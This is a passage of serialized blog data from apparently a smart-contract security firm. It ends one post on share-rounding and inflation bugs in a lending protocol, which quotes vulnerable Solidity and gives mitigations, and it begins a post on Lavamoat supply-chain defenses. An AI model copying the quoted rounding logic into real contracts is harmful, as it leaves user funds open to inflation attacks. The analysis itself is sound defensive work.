ResultsInBadDebt",{"type":23,"tag":75,"props":57569,"children":57570},{"style":94},[57571],{"type":29,"value":14944},{"type":23,"tag":75,"props":57573,"children":57574},{"class":77,"line":363},[57575],{"type":23,"tag":75,"props":57576,"children":57577},{"style":94},[57578],{"type":29,"value":369},{"type":23,"tag":32,"props":57580,"children":57581},{},[57582],{"type":29,"value":57583},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":32,"props":57585,"children":57586},{},[57587],{"type":29,"value":57588},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":32,"props":57590,"children":57591},{},[57592,57594,57600],{"type":29,"value":57593},"And indeed, ",{"type":23,"tag":940,"props":57595,"children":57598},{"href":57596,"rel":57597},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[944],[57599],{"type":29,"value":57304},{"type":29,"value":57601}," rounds up the share value.",{"type":23,"tag":64,"props":57603,"children":57605},{"className":68,"code":57604,"language":67,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[57606],{"type":23,"tag":71,"props":57607,"children":57608},{"__ignoreMap":7},[57609,57625,57642,57658,57671,57678,57686,57694,57714,57721,57742,57763,57785,57814,57835],{"type":23,"tag":75,"props":57610,"children":57611},{"class":77,"line":78},[57612,57616,57621],{"type":23,"tag":75,"props":57613,"children":57614},{"style":82},[57615],{"type":29,"value":85},{"type":23,"tag":75,"props":57617,"children":57618},{"style":88},[57619],{"type":29,"value":57620}," _calculateShares",{"type":23,"tag":75,"props":57622,"children":57623},{"style":94},[57624],{"type":29,"value":97},{"type":23,"tag":75,"props":57626,"children":57627},{"class":77,"line":100},[57628,57633,57638],{"type":23,"tag":75,"props":57629,"children":57630},{"style":104},[57631],{"type":29,"value":57632},"    uint256",{"type":23,"tag":75,"props":57634,"children":57635},{"style":110},[57636],{"type":29,"value":57637}," _product",{"type":23,"tag":75,"props":57639,"children":57640},{"style":94},[57641],{"type":29,"value":118},{"type":23,"tag":75,"props":57643,"children":57644},{"class":77,"line":121},[57645,57649,57654],{"type":23,"tag":75,"props":57646,"children":57647},{"style":104},[57648],{"type":29,"value":57632},{"type":23,"tag":75,"props":57650,"children":57651},{"style":110},[57652],{"type":29,"value":57653}," _pseudo",{"type":23,"tag":75,"props":57655,"children":57656},{"style":94},[57657],{"type":29,"value":118},{"type":23,"tag":75,"props":57659,"children":57660},{"class":77,"line":138},[57661,57666],{"type":23,"tag":75,"props":57662,"children":57663},{"style":104},[57664],{"type":29,"value":57665},"    bool",{"type":23,"tag":75,"props":57667,"children":57668},{"style":110},[57669],{"type":29,"value":57670}," _maxSharePrice\n",{"type":23,"tag":75,"props":57672,"children":57673},{"class":77,"line":161},[57674],{"type":23,"tag":75,"props":57675,"children":57676},{"style":94},[57677],{"type":29,"value":653},{"type":23,"tag":75,"props":57679,"children":57680},{"class":77,"line":196},[57681],{"type":23,"tag":75,"props":57682,"children":57683},{"style":82},[57684],{"type":29,"value":57685},"    private\n",{"type":23,"tag":75,"props":57687,"children":57688},{"class":77,"line":220},[57689],{"type":23,"tag":75,"props":57690,"children":57691},{"style":82},[57692],{"type":29,"value":57693},"    pure\n",{"type":23,"tag":75,"props":57695,"children":57696},{"class":77,"line":248},[57697,57702,57706,57710],{"type":23,"tag":75,"props":57698,"children":57699},{"style":175},[57700],{"type":29,"value":57701},"    returns",{"type":23,"tag":75,"props":57703,"children":57704},{"style":94},[57705],{"type":29,"value":183},{"type":23,"tag":75,"props":57707,"children":57708},{"style":104},[57709],{"type":29,"value":57360},{"type":23,"tag":75,"props":57711,"children":57712},{"style":94},[57713],{"type":29,"value":653},{"type":23,"tag":75,"props":57715,"children":57716},{"class":77,"line":270},[57717],{"type":23,"tag":75,"props":57718,"children":57719},{"style":94},[57720],{"type":29,"value":2549},{"type":23,"tag":75,"props":57722,"children":57723},{"class":77,"line":279},[57724,57728,57733,57737],{"type":23,"tag":75,"props":57725,"children":57726},{"style":175},[57727],{"type":29,"value":355},{"type":23,"tag":75,"props":57729,"children":57730},{"style":94},[57731],{"type":29,"value":57732}," _maxSharePrice ",{"type":23,"tag":75,"props":57734,"children":57735},{"style":209},[57736],{"type":29,"value":2469},{"type":23,"tag":75,"props":57738,"children":57739},{"style":82},[57740],{"type":29,"value":57741}," true\n",{"type":23,"tag":75,"props":57743,"children":57744},{"class":77,"line":303},[57745,57750,57755,57759],{"type":23,"tag":75,"props":57746,"children":57747},{"style":209},[57748],{"type":29,"value":57749},"        ?",{"type":23,"tag":75,"props":57751,"children":57752},{"style":94},[57753],{"type":29,"value":57754}," _product % _pseudo ",{"type":23,"tag":75,"props":57756,"children":57757},{"style":209},[57758],{"type":29,"value":2469},{"type":23,"tag":75,"props":57760,"children":57761},{"style":237},[57762],{"type":29,"value":35483},{"type":23,"tag":75,"props":57764,"children":57765},{"class":77,"line":322},[57766,57771,57776,57780],{"type":23,"tag":75,"props":57767,"children":57768},{"style":209},[57769],{"type":29,"value":57770},"            ?",{"type":23,"tag":75,"props":57772,"children":57773},{"style":94},[57774],{"type":29,"value":57775}," _product ",{"type":23,"tag":75,"props":57777,"children":57778},{"style":209},[57779],{"type":29,"value":5647},{"type":23,"tag":75,"props":57781,"children":57782},{"style":94},[57783],{"type":29,"value":57784}," _pseudo\n",{"type":23,"tag":75,"props":57786,"children":57787},{"class":77,"line":340},[57788,57793,57797,57801,57806,57810],{"type":23,"tag":75,"props":57789,"children":57790},{"style":209},[57791],{"type":29,"value":57792},"            :",{"type":23,"tag":75,"props":57794,"children":57795},{"style":94},[57796],{"type":29,"value":57775},{"type":23,"tag":75,"props":57798,"children":57799},{"style":209},[57800],{"type":29,"value":5647},{"type":23,"tag":75,"props":57802,"children":57803},{"style":94},[57804],{"type":29,"value":57805}," _pseudo ",{"type":23,"tag":75,"props":57807,"children":57808},{"style":209},[57809],{"type":29,"value":7862},{"type":23,"tag":75,"props":57811,"children":57812},{"style":237},[57813],{"type":29,"value":30665},{"type":23,"tag":75,"props":57815,"children":57816},{"class":77,"line":349},[57817,57822,57826,57830],{"type":23,"tag":75,"props":57818,"children":57819},{"style":209},[57820],{"type":29,"value":57821},"        :",{"type":23,"tag":75,"props":57823,"children":57824},{"style":94},[57825],{"type":29,"value":57775},{"type":23,"tag":75,"props":57827,"children":57828},{"style":209},[57829],{"type":29,"value":5647},{"type":23,"tag":75,"props":57831,"children":57832},{"style":94},[57833],{"type":29,"value":57834}," _pseudo;\n",{"type":23,"tag":75,"props":57836,"children":57837},{"class":77,"line":363},[57838],{"type":23,"tag":75,"props":57839,"children":57840},{"style":94},[57841],{"type":29,"value":369},{"type":23,"tag":32,"props":57843,"children":57844},{},[57845,57850],{"type":23,"tag":9690,"props":57846,"children":57847},{},[57848],{"type":29,"value":57849},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":57851},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":32,"props":57853,"children":57854},{},[57855],{"type":29,"value":57856},"This is a really tricky invariant to reason about!",{"type":23,"tag":24,"props":57858,"children":57860},{"id":57859},"root-cause",[57861],{"type":29,"value":57862},"Root Cause",{"type":23,"tag":32,"props":57864,"children":57865},{},[57866],{"type":29,"value":57867},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":32,"props":57869,"children":57870},{},[57871],{"type":29,"value":57872},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":64,"props":57874,"children":57876},{"className":68,"code":57875,"language":67,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[57877],{"type":23,"tag":71,"props":57878,"children":57879},{"__ignoreMap":7},[57880],{"type":23,"tag":75,"props":57881,"children":57882},{"class":77,"line":78},[57883,57888,57892,57897,57901],{"type":23,"tag":75,"props":57884,"children":57885},{"style":94},[57886],{"type":29,"value":57887},"totalDepositShares ",{"type":23,"tag":75,"props":57889,"children":57890},{"style":209},[57891],{"type":29,"value":601},{"type":23,"tag":75,"props":57893,"children":57894},{"style":94},[57895],{"type":29,"value":57896}," _amount ",{"type":23,"tag":75,"props":57898,"children":57899},{"style":209},[57900],{"type":29,"value":5647},{"type":23,"tag":75,"props":57902,"children":57903},{"style":94},[57904],{"type":29,"value":57905}," pseudoTotalPool\n",{"type":23,"tag":32,"props":57907,"children":57908},{},[57909],{"type":29,"value":57910},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":32,"props":57912,"children":57913},{},[57914,57916,57920],{"type":29,"value":57915},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":9690,"props":57917,"children":57918},{},[57919],{"type":29,"value":31139},{"type":29,"value":57921}," integer division?",{"type":23,"tag":24,"props":57923,"children":57925},{"id":57924},"mitigations",[57926],{"type":29,"value":57927},"Mitigations",{"type":23,"tag":32,"props":57929,"children":57930},{},[57931],{"type":29,"value":57932},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":32,"props":57934,"children":57935},{},[57936,57938,57945],{"type":29,"value":57937},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":940,"props":57939,"children":57942},{"href":57940,"rel":57941},"https://twitter.com/danielvf/status/1746306320553152615",[944],[57943],{"type":29,"value":57944},"@danielvf notes",{"type":29,"value":57946},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":64,"props":57948,"children":57950},{"className":68,"code":57949,"language":67,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[57951],{"type":23,"tag":71,"props":57952,"children":57953},{"__ignoreMap":7},[57954,57978,58025,58059],{"type":23,"tag":75,"props":57955,"children":57956},{"class":77,"line":78},[57957,57961,57966,57970,57974],{"type":23,"tag":75,"props":57958,"children":57959},{"style":175},[57960],{"type":29,"value":26807},{"type":23,"tag":75,"props":57962,"children":57963},{"style":94},[57964],{"type":29,"value":57965}," (_totalSupply ",{"type":23,"tag":75,"props":57967,"children":57968},{"style":209},[57969],{"type":29,"value":2469},{"type":23,"tag":75,"props":57971,"children":57972},{"style":237},[57973],{"type":29,"value":240},{"type":23,"tag":75,"props":57975,"children":57976},{"style":94},[57977],{"type":29,"value":193},{"type":23,"tag":75,"props":57979,"children":57980},{"class":77,"line":100},[57981,57986,57990,57995,58000,58005,58010,58015,58020],{"type":23,"tag":75,"props":57982,"children":57983},{"style":94},[57984],{"type":29,"value":57985},"    liquidity ",{"type":23,"tag":75,"props":57987,"children":57988},{"style":209},[57989],{"type":29,"value":212},{"type":23,"tag":75,"props":57991,"children":57992},{"style":94},[57993],{"type":29,"value":57994}," Math.",{"type":23,"tag":75,"props":57996,"children":57997},{"style":88},[57998],{"type":29,"value":57999},"sqrt",{"type":23,"tag":75,"props":58001,"children":58002},{"style":94},[58003],{"type":29,"value":58004},"(amount0.",{"type":23,"tag":75,"props":58006,"children":58007},{"style":88},[58008],{"type":29,"value":58009},"mul",{"type":23,"tag":75,"props":58011,"children":58012},{"style":94},[58013],{"type":29,"value":58014},"(amount1)).",{"type":23,"tag":75,"props":58016,"children":58017},{"style":88},[58018],{"type":29,"value":58019},"sub",{"type":23,"tag":75,"props":58021,"children":58022},{"style":94},[58023],{"type":29,"value":58024},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":75,"props":58026,"children":58027},{"class":77,"line":121},[58028,58033,58037,58041,58045,58049,58054],{"type":23,"tag":75,"props":58029,"children":58030},{"style":88},[58031],{"type":29,"value":58032},"   _mint",{"type":23,"tag":75,"props":58034,"children":58035},{"style":94},[58036],{"type":29,"value":643},{"type":23,"tag":75,"props":58038,"children":58039},{"style":104},[58040],{"type":29,"value":43834},{"type":23,"tag":75,"props":58042,"children":58043},{"style":94},[58044],{"type":29,"value":643},{"type":23,"tag":75,"props":58046,"children":58047},{"style":237},[58048],{"type":29,"value":648},{"type":23,"tag":75,"props":58050,"children":58051},{"style":94},[58052],{"type":29,"value":58053},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":75,"props":58055,"children":58056},{"style":3621},[58057],{"type":29,"value":58058},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":75,"props":58060,"children":58061},{"class":77,"line":138},[58062,58067,58071],{"type":23,"tag":75,"props":58063,"children":58064},{"style":94},[58065],{"type":29,"value":58066},"} ",{"type":23,"tag":75,"props":58068,"children":58069},{"style":175},[58070],{"type":29,"value":6878},{"type":23,"tag":75,"props":58072,"children":58073},{"style":94},[58074],{"type":29,"value":401},{"type":23,"tag":32,"props":58076,"children":58077},{},[58078,58080,58087],{"type":29,"value":58079},"Alternatively, ",{"type":23,"tag":940,"props":58081,"children":58084},{"href":58082,"rel":58083},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[944],[58085],{"type":29,"value":58086},"storing the conversion rate separately",{"type":29,"value":58088}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":64,"props":58090,"children":58092},{"className":68,"code":58091,"language":67,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[58093],{"type":23,"tag":71,"props":58094,"children":58095},{"__ignoreMap":7},[58096,58131],{"type":23,"tag":75,"props":58097,"children":58098},{"class":77,"line":78},[58099,58104,58108,58113,58117,58122,58126],{"type":23,"tag":75,"props":58100,"children":58101},{"style":94},[58102],{"type":29,"value":58103},"accrualIndices.borrowed ",{"type":23,"tag":75,"props":58105,"children":58106},{"style":209},[58107],{"type":29,"value":212},{"type":23,"tag":75,"props":58109,"children":58110},{"style":94},[58111],{"type":29,"value":58112}," accrualIndices.borrowed ",{"type":23,"tag":75,"props":58114,"children":58115},{"style":209},[58116],{"type":29,"value":601},{"type":23,"tag":75,"props":58118,"children":58119},{"style":94},[58120],{"type":29,"value":58121}," borrowInterestFactor ",{"type":23,"tag":75,"props":58123,"children":58124},{"style":209},[58125],{"type":29,"value":5647},{"type":23,"tag":75,"props":58127,"children":58128},{"style":94},[58129],{"type":29,"value":58130}," precision;\n",{"type":23,"tag":75,"props":58132,"children":58133},{"class":77,"line":100},[58134,58139,58143,58148,58152,58157,58161],{"type":23,"tag":75,"props":58135,"children":58136},{"style":94},[58137],{"type":29,"value":58138},"accrualIndices.deposited ",{"type":23,"tag":75,"props":58140,"children":58141},{"style":209},[58142],{"type":29,"value":212},{"type":23,"tag":75,"props":58144,"children":58145},{"style":94},[58146],{"type":29,"value":58147}," accrualIndices.deposited ",{"type":23,"tag":75,"props":58149,"children":58150},{"style":209},[58151],{"type":29,"value":601},{"type":23,"tag":75,"props":58153,"children":58154},{"style":94},[58155],{"type":29,"value":58156}," depositInterestFactor ",{"type":23,"tag":75,"props":58158,"children":58159},{"style":209},[58160],{"type":29,"value":5647},{"type":23,"tag":75,"props":58162,"children":58163},{"style":94},[58164],{"type":29,"value":58130},{"type":23,"tag":32,"props":58166,"children":58167},{},[58168],{"type":29,"value":58169},"We also want to note some general takeaways:",{"type":23,"tag":32,"props":58171,"children":58172},{},[58173,58175,58180],{"type":29,"value":58174},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":9690,"props":58176,"children":58177},{},[58178],{"type":29,"value":58179},"apply the state changes and check the invariant",{"type":29,"value":557},{"type":23,"tag":32,"props":58182,"children":58183},{},[58184],{"type":29,"value":58185},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":32,"props":58187,"children":58188},{},[58189],{"type":29,"value":58190},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":24,"props":58192,"children":58193},{"id":14115},[58194],{"type":29,"value":14118},{"type":23,"tag":32,"props":58196,"children":58197},{},[58198],{"type":29,"value":58199},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":32,"props":58201,"children":58202},{},[58203],{"type":29,"value":58204},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":14130,"props":58206,"children":58207},{},[58208],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":58210},[58211,58212,58213,58217,58218,58219],{"id":26,"depth":100,"text":30},{"id":57133,"depth":100,"text":57136},{"id":57252,"depth":100,"text":57255,"children":58214},[58215,58216],{"id":57263,"depth":121,"text":57266},{"id":57301,"depth":121,"text":57304},{"id":57859,"depth":100,"text":57862},{"id":57924,"depth":100,"text":57927},{"id":14115,"depth":100,"text":14118},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":58224,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":58225,"description":58226,"author":58227,"image":58228,"date":58230,"isFeatured":15,"onBlogPage":15,"body":58231,"_type":14157,"_id":61702,"_source":14159,"_file":61703,"_stem":61704,"_extension":14162},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[42397,42396],{"src":58229},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":58232,"toc":61681},[58233,58237,58258,58263,58267,58272,58311,58317,58332,58350,58355,58360,58365,58378,58685,58711,58724,58729,58734,58748,58753,58766,58779,59010,59031,59066,59072,59077,59082,59296,59317,59323,59335,59425,59447,59483,59491,59509,59761,59787,59793,59807,60005,60024,60430,60443,60449,60468,60561,60566,60572,60585,60598,60684,60690,60702,60787,60799,60812,60818,60823,60837,61163,61168,61173,61179,61205,61260,61280,61333,61339,61344,61363,61374,61567,61573,61596,61602,61607,61620,61625,61630,61634,61639,61647,61677],{"type":23,"tag":24,"props":58234,"children":58235},{"id":30179},[58236],{"type":29,"value":30182},{"type":23,"tag":32,"props":58238,"children":58239},{},[58240,58247,58249,58256],{"type":23,"tag":940,"props":58241,"children":58244},{"href":58242,"rel":58243},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[944],[58245],{"type":29,"value":58246},"Supply chain",{"type":29,"value":58248}," attacks are becoming ",{"type":23,"tag":940,"props":58250,"children":58253},{"href":58251,"rel":58252},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[944],[58254],{"type":29,"value":58255},"increasingly popular in Web3",{"type":29,"value":58257},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":32,"props":58259,"children":58260},{},[58261],{"type":29,"value":58262},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":923,"props":58264,"children":58265},{"id":26},[58266],{"type":29,"value":30},{"type":23,"tag":32,"props":58268,"children":58269},{},[58270],{"type":29,"value":58271},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":2797,"props":58273,"children":58274},{},[58275,58287,58299],{"type":23,"tag":2801,"props":58276,"children":58277},{},[58278,58285],{"type":23,"tag":940,"props":58279,"children":58282},{"href":58280,"rel":58281},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[944],[58283],{"type":29,"value":58284},"Lavamoat Browserify",{"type":29,"value":58286}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":2801,"props":58288,"children":58289},{},[58290,58297],{"type":23,"tag":940,"props":58291,"children":58294},{"href":58292,"rel":58293},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[944],[58295],{"type":29,"value":58296},"NodeJS Lavamoat",{"type":29,"value":58298}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":2801,"props":58300,"children":58301},{},[58302,58309],{"type":23,"tag":940,"props":58303,"children":58306},{"href":58304,"rel":58305},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[944],[58307],{"type":29,"value":58308},"Lavamoat allow-scripts",{"type":29,"value":58310}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":923,"props":58312,"children":58314},{"id":58313},"lavamoats-security-features",[58315],{"type":29,"value":58316},"Lavamoat's Security Features",{"type":23,"tag":32,"props":58318,"children":58319},{},[58320,58322,58330],{"type":29,"value":58321},"The three most important features of Lavamoat",{"type":23,"tag":26701,"props":58323,"children":58324},{},[58325],{"type":23,"tag":940,"props":58326,"children":58328},{"href":40820,"ariaDescribedBy":58327,"dataFootnoteRef":7,"id":40822},[26708],[58329],{"type":29,"value":7867},{"type":29,"value":58331}," are:",{"type":23,"tag":27910,"props":58333,"children":58334},{},[58335,58340,58345],{"type":23,"tag":2801,"props":58336,"children":58337},{},[58338],{"type":29,"value":58339},"Policy Files",{"type":23,"tag":2801,"props":58341,"children":58342},{},[58343],{"type":29,"value":58344},"NPM Anti Hijacking",{"type":23,"tag":2801,"props":58346,"children":58347},{},[58348],{"type":29,"value":58349},"Scuttling",{"type":23,"tag":32,"props":58351,"children":58352},{},[58353],{"type":29,"value":58354},"Let's go over them one by one.",{"type":23,"tag":30116,"props":58356,"children":58358},{"id":58357},"policy-files",[58359],{"type":29,"value":58339},{"type":23,"tag":32,"props":58361,"children":58362},{},[58363],{"type":29,"value":58364},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":32,"props":58366,"children":58367},{},[58368,58370,58377],{"type":29,"value":58369},"For example, take the ",{"type":23,"tag":940,"props":58371,"children":58374},{"href":58372,"rel":58373},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[944],[58375],{"type":29,"value":58376},"Metamask Snap policy file",{"type":29,"value":1018},{"type":23,"tag":64,"props":58379,"children":58381},{"className":42559,"code":58380,"language":42561,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[58382],{"type":23,"tag":71,"props":58383,"children":58384},{"__ignoreMap":7},[58385,58397,58412,58432,58451,58471,58491,58511,58531,58551,58572,58592,58611,58627,58634,58649,58669],{"type":23,"tag":75,"props":58386,"children":58387},{"class":77,"line":78},[58388,58393],{"type":23,"tag":75,"props":58389,"children":58390},{"style":1266},[58391],{"type":29,"value":58392},"   \"@metamask/providers\"",{"type":23,"tag":75,"props":58394,"children":58395},{"style":94},[58396],{"type":29,"value":48214},{"type":23,"tag":75,"props":58398,"children":58399},{"class":77,"line":100},[58400,58404,58408],{"type":23,"tag":75,"props":58401,"children":58402},{"style":1266},[58403],{"type":29,"value":48222},{"type":23,"tag":75,"props":58405,"children":58406},{"style":110},[58407],{"type":29,"value":1018},{"type":23,"tag":75,"props":58409,"children":58410},{"style":94},[58411],{"type":29,"value":401},{"type":23,"tag":75,"props":58413,"children":58414},{"class":77,"line":121},[58415,58420,58424,58428],{"type":23,"tag":75,"props":58416,"children":58417},{"style":1266},[58418],{"type":29,"value":58419},"        \"Event\"",{"type":23,"tag":75,"props":58421,"children":58422},{"style":110},[58423],{"type":29,"value":1018},{"type":23,"tag":75,"props":58425,"children":58426},{"style":82},[58427],{"type":29,"value":23713},{"type":23,"tag":75,"props":58429,"children":58430},{"style":94},[58431],{"type":29,"value":118},{"type":23,"tag":75,"props":58433,"children":58434},{"class":77,"line":138},[58435,58439,58443,58447],{"type":23,"tag":75,"props":58436,"children":58437},{"style":1266},[58438],{"type":29,"value":48274},{"type":23,"tag":75,"props":58440,"children":58441},{"style":110},[58442],{"type":29,"value":1018},{"type":23,"tag":75,"props":58444,"children":58445},{"style":82},[58446],{"type":29,"value":23713},{"type":23,"tag":75,"props":58448,"children":58449},{"style":94},[58450],{"type":29,"value":118},{"type":23,"tag":75,"props":58452,"children":58453},{"class":77,"line":161},[58454,58459,58463,58467],{"type":23,"tag":75,"props":58455,"children":58456},{"style":1266},[58457],{"type":29,"value":58458},"        \"chrome.runtime.connect\"",{"type":23,"tag":75,"props":58460,"children":58461},{"style":110},[58462],{"type":29,"value":1018},{"type":23,"tag":75,"props":58464,"children":58465},{"style":82},[58466],{"type":29,"value":23713},{"type":23,"tag":75,"props":58468,"children":58469},{"style":94},[58470],{"type":29,"value":118},{"type":23,"tag":75,"props":58472,"children":58473},{"class":77,"line":196},[58474,58479,58483,58487],{"type":23,"tag":75,"props":58475,"children":58476},{"style":1266},[58477],{"type":29,"value":58478},"        \"console\"",{"type":23,"tag":75,"props":58480,"children":58481},{"style":110},[58482],{"type":29,"value":1018},{"type":23,"tag":75,"props":58484,"children":58485},{"style":82},[58486],{"type":29,"value":23713},{"type":23,"tag":75,"props":58488,"children":58489},{"style":94},[58490],{"type":29,"value":118},{"type":23,"tag":75,"props":58492,"children":58493},{"class":77,"line":220},[58494,58499,58503,58507],{"type":23,"tag":75,"props":58495,"children":58496},{"style":1266},[58497],{"type":29,"value":58498},"        \"dispatchEvent\"",{"type":23,"tag":75,"props":58500,"children":58501},{"style":110},[58502],{"type":29,"value":1018},{"type":23,"tag":75,"props":58504,"children":58505},{"style":82},[58506],{"type":29,"value":23713},{"type":23,"tag":75,"props":58508,"children":58509},{"style":94},[58510],{"type":29,"value":118},{"type":23,"tag":75,"props":58512,"children":58513},{"class":77,"line":248},[58514,58519,58523,58527],{"type":23,"tag":75,"props":58515,"children":58516},{"style":1266},[58517],{"type":29,"value":58518},"        \"document.createElement\"",{"type":23,"tag":75,"props":58520,"children":58521},{"style":110},[58522],{"type":29,"value":1018},{"type":23,"tag":75,"props":58524,"children":58525},{"style":82},[58526],{"type":29,"value":23713},{"type":23,"tag":75,"props":58528,"children":58529},{"style":94},[58530],{"type":29,"value":118},{"type":23,"tag":75,"props":58532,"children":58533},{"class":77,"line":270},[58534,58539,58543,58547],{"type":23,"tag":75,"props":58535,"children":58536},{"style":1266},[58537],{"type":29,"value":58538},"        \"document.readyState\"",{"type":23,"tag":75,"props":58540,"children":58541},{"style":110},[58542],{"type":29,"value":1018},{"type":23,"tag":75,"props":58544,"children":58545},{"style":82},[58546],{"type":29,"value":23713},{"type":23,"tag":75,"props":58548,"children":58549},{"style":94},[58550],{"type":29,"value":118},{"type":23,"tag":75,"props":58552,"children":58553},{"class":77,"line":279},[58554,58559,58563,58568],{"type":23,"tag":75,"props":58555,"children":58556},{"style":1266},[58557],{"type":29,"value":58558},"        \"ethereum\"",{"type":23,"tag":75,"props":58560,"children":58561},{"style":110},[58562],{"type":29,"value":1018},{"type":23,"tag":75,"props":58564,"children":58565},{"style":1266},[58566],{"type":29,"value":58567}," \"write\"",{"type":23,"tag":75,"props":58569,"children":58570},{"style":94},[58571],{"type":29,"value":118},{"type":23,"tag":75,"props":58573,"children":58574},{"class":77,"line":303},[58575,58580,58584,58588],{"type":23,"tag":75,"props":58576,"children":58577},{"style":1266},[58578],{"type":29,"value":58579},"        \"location.hostname\"",{"type":23,"tag":75,"props":58581,"children":58582},{"style":110},[58583],{"type":29,"value":1018},{"type":23,"tag":75,"props":58585,"children":58586},{"style":82},[58587],{"type":29,"value":23713},{"type":23,"tag":75,"props":58589,"children":58590},{"style":94},[58591],{"type":29,"value":118},{"type":23,"tag":75,"props":58593,"children":58594},{"class":77,"line":322},[58595,58599,58603,58607],{"type":23,"tag":75,"props":58596,"children":58597},{"style":1266},[58598],{"type":29,"value":48374},{"type":23,"tag":75,"props":58600,"children":58601},{"style":110},[58602],{"type":29,"value":1018},{"type":23,"tag":75,"props":58604,"children":58605},{"style":82},[58606],{"type":29,"value":23713},{"type":23,"tag":75,"props":58608,"children":58609},{"style":94},[58610],{"type":29,"value":118},{"type":23,"tag":75,"props":58612,"children":58613},{"class":77,"line":340},[58614,58619,58623],{"type":23,"tag":75,"props":58615,"children":58616},{"style":1266},[58617],{"type":29,"value":58618},"        